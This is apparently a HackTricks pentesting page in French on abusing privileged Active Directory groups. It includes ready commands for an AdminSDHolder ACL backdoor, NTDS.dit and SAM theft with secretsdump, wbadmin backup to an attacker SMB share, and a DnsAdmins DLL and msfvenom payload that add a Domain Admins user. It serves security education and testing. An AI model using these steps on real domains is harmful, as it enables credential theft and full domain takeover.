Privileged Groups

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Groupes bien connus avec des privilèges d'administration

  • Administrateurs

  • Administrateurs de domaine

  • Administrateurs d'entreprise

Opérateurs de compte

Ce groupe est autorisé à créer des comptes et des groupes qui ne sont pas des administrateurs sur le domaine. De plus, il permet la connexion locale au Contrôleur de domaine (DC).

Pour identifier les membres de ce groupe, la commande suivante est exécutée :

Get-NetGroupMember -Identity "Account Operators" -Recurse

Ajouter de nouveaux utilisateurs est autorisé, ainsi que la connexion locale à DC01.

Groupe AdminSDHolder

La liste de contrôle d'accès (ACL) du groupe AdminSDHolder est cruciale car elle définit les autorisations pour tous les "groupes protégés" au sein de l'Active Directory, y compris les groupes à haut privilège. Ce mécanisme garantit la sécurité de ces groupes en empêchant les modifications non autorisées.

Un attaquant pourrait exploiter cela en modifiant l'ACL du groupe AdminSDHolder, accordant des autorisations complètes à un utilisateur standard. Cela donnerait effectivement à cet utilisateur un contrôle total sur tous les groupes protégés. Si les autorisations de cet utilisateur sont modifiées ou supprimées, elles seraient automatiquement rétablies dans l'heure en raison de la conception du système.

Les commandes pour examiner les membres et modifier les autorisations incluent :

Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}

Un script est disponible pour accélérer le processus de restauration : Invoke-ADSDPropagation.ps1.

Pour plus de détails, visitez ired.team.

Corbeille Active Directory

L'appartenance à ce groupe permet la lecture des objets Active Directory supprimés, ce qui peut révéler des informations sensibles :

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Accès au contrôleur de domaine

L'accès aux fichiers sur le DC est restreint sauf si l'utilisateur fait partie du groupe Opérateurs de serveurs, ce qui modifie le niveau d'accès.

Élévation de privilèges

En utilisant PsService ou sc de Sysinternals, on peut inspecter et modifier les autorisations des services. Le groupe Opérateurs de serveurs, par exemple, a un contrôle total sur certains services, permettant l'exécution de commandes arbitraires et l'élévation de privilèges:

C:\> .\PsService.exe security AppReadiness

Ce commandement révèle que les Opérateurs de serveur ont un accès complet, permettant la manipulation des services pour des privilèges élevés.

Opérateurs de sauvegarde

L'appartenance au groupe Opérateurs de sauvegarde fournit un accès au système de fichiers de DC01 en raison des privilèges SeBackup et SeRestore. Ces privilèges permettent la traversée de dossiers, la liste et la copie de fichiers, même sans autorisations explicites, en utilisant le drapeau FILE_FLAG_BACKUP_SEMANTICS. L'utilisation de scripts spécifiques est nécessaire pour ce processus.

Pour répertorier les membres du groupe, exécutez :

Get-NetGroupMember -Identity "Backup Operators" -Recurse

Attaque locale

Pour exploiter ces privilèges localement, les étapes suivantes sont utilisées :

  1. Importer les bibliothèques nécessaires :

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
  1. Activer et vérifier SeBackupPrivilege :

Set-SeBackupPrivilege
Get-SeBackupPrivilege
  1. Accéder et copier des fichiers à partir de répertoires restreints, par exemple :

dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite

Attaque AD

Un accès direct au système de fichiers du contrôleur de domaine permet le vol de la base de données NTDS.dit, qui contient tous les hachages NTLM des utilisateurs et des ordinateurs du domaine.

Utilisation de diskshadow.exe

  1. Créer une copie d'ombre du lecteur C :

diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
  1. Copiez NTDS.dit depuis la copie d'ombre :

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

Alternativement, utilisez robocopy pour la copie de fichiers :

robocopy /B F:\Windows\NTDS .\ntds ntds.dit
  1. Extraire SYSTEM et SAM pour la récupération du hash :

reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
  1. Récupérer tous les hachages de NTDS.dit:

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Utilisation de wbadmin.exe

  1. Configurer le système de fichiers NTFS pour le serveur SMB sur la machine de l'attaquant et mettre en cache les informations d'identification SMB sur la machine cible.

  2. Utiliser wbadmin.exe pour la sauvegarde du système et l'extraction de NTDS.dit :

net use X: \\<AdresseIPAttaque>\nompartage /user:utilisateursmb motdepasse
echo "Y" | wbadmin start backup -backuptarget:\\<AdresseIPAttaque>\nompartage -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-heure> -itemtype:fichier -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl

Pour une démonstration pratique, voir VIDÉO DE DÉMONSTRATION AVEC IPPSEC.

DnsAdmins

Les membres du groupe DnsAdmins peuvent exploiter leurs privilèges pour charger une DLL arbitraire avec des privilèges SYSTEM sur un serveur DNS, souvent hébergé sur des contrôleurs de domaine. Cette capacité offre un potentiel d'exploitation significatif.

Pour lister les membres du groupe DnsAdmins, utilisez :

Get-NetGroupMember -Identity "DnsAdmins" -Recurse

Exécuter un DLL arbitraire

Les membres peuvent faire charger au serveur DNS un DLL arbitraire (soit localement, soit à partir d'un partage distant) en utilisant des commandes telles que :

dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

Redémarrer le service DNS (ce qui peut nécessiter des autorisations supplémentaires) est nécessaire pour que le DLL soit chargé :

sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns

Pour plus de détails sur ce vecteur d'attaque, consultez ired.team.

Mimilib.dll

Il est également possible d'utiliser mimilib.dll pour l'exécution de commandes, en le modifiant pour exécuter des commandes spécifiques ou des shells inversés. Consultez cet article pour plus d'informations.

Enregistrement WPAD pour MitM

Les DnsAdmins peuvent manipuler les enregistrements DNS pour effectuer des attaques de l'Homme du Milieu (MitM) en créant un enregistrement WPAD après avoir désactivé la liste de blocage des requêtes globales. Des outils comme Responder ou Inveigh peuvent être utilisés pour le spoofing et la capture du trafic réseau.

### Lecteurs de journaux d'événements Les membres peuvent accéder aux journaux d'événements, trouvant potentiellement des informations sensibles telles que des mots de passe en clair ou des détails d'exécution de commandes:

# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}

Permissions Windows Exchange

Ce groupe peut modifier les DACL sur l'objet de domaine, potentiellement accordant des privilèges DCSync. Les techniques d'escalade de privilèges exploitant ce groupe sont détaillées dans le dépôt GitHub Exchange-AD-Privesc.

# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse

Administrateurs Hyper-V

Les administrateurs Hyper-V ont un accès complet à Hyper-V, ce qui peut être exploité pour prendre le contrôle des contrôleurs de domaine virtualisés. Cela inclut le clonage des DC en direct et l'extraction des hachages NTLM du fichier NTDS.dit.

Exemple d'exploitation

Le service de maintenance Mozilla de Firefox peut être exploité par les administrateurs Hyper-V pour exécuter des commandes en tant que SYSTEM. Cela implique la création d'un lien dur vers un fichier SYSTEM protégé et de le remplacer par un exécutable malveillant:

# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance

Note : L'exploitation des liens physiques a été atténuée dans les mises à jour récentes de Windows.

Gestion de l'organisation

Dans les environnements où Microsoft Exchange est déployé, un groupe spécial appelé Organization Management détient des capacités significatives. Ce groupe est autorisé à accéder aux boîtes aux lettres de tous les utilisateurs du domaine et maintient un contrôle total sur l'Unité d'organisation 'Microsoft Exchange Security Groups'. Ce contrôle inclut le groupe Exchange Windows Permissions, qui peut être exploité pour l'élévation de privilèges.

Exploitation des privilèges et commandes

Opérateurs d'impression

Les membres du groupe Print Operators sont dotés de plusieurs privilèges, y compris le SeLoadDriverPrivilege, qui leur permet de se connecter localement à un contrôleur de domaine, de l'éteindre et de gérer les imprimantes. Pour exploiter ces privilèges, en particulier si le SeLoadDriverPrivilege n'est pas visible dans un contexte non élevé, il est nécessaire de contourner le Contrôle de compte d'utilisateur (UAC).

Pour lister les membres de ce groupe, la commande PowerShell suivante est utilisée :

Get-NetGroupMember -Identity "Print Operators" -Recurse

Pour des techniques d'exploitation plus détaillées liées à SeLoadDriverPrivilege, il convient de consulter des ressources de sécurité spécifiques.

Utilisateurs du Bureau à distance

Les membres de ce groupe ont accès aux PC via le protocole Bureau à distance (RDP). Pour énumérer ces membres, des commandes PowerShell sont disponibles :

Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"

Des informations supplémentaires sur l'exploitation de RDP peuvent être trouvées dans des ressources de pentesting dédiées.

Utilisateurs de gestion à distance

Les membres peuvent accéder aux PC via Windows Remote Management (WinRM). L'énumération de ces membres est réalisée à travers :

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"

Pour les techniques d'exploitation liées à WinRM, une documentation spécifique doit être consultée.

Opérateurs de serveur

Ce groupe a les autorisations pour effectuer diverses configurations sur les contrôleurs de domaine, y compris les privilèges de sauvegarde et de restauration, le changement de l'heure système et l'arrêt du système. Pour énumérer les membres, la commande fournie est :

Get-NetGroupMember -Identity "Server Operators" -Recurse

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks:

Dernière mise à jour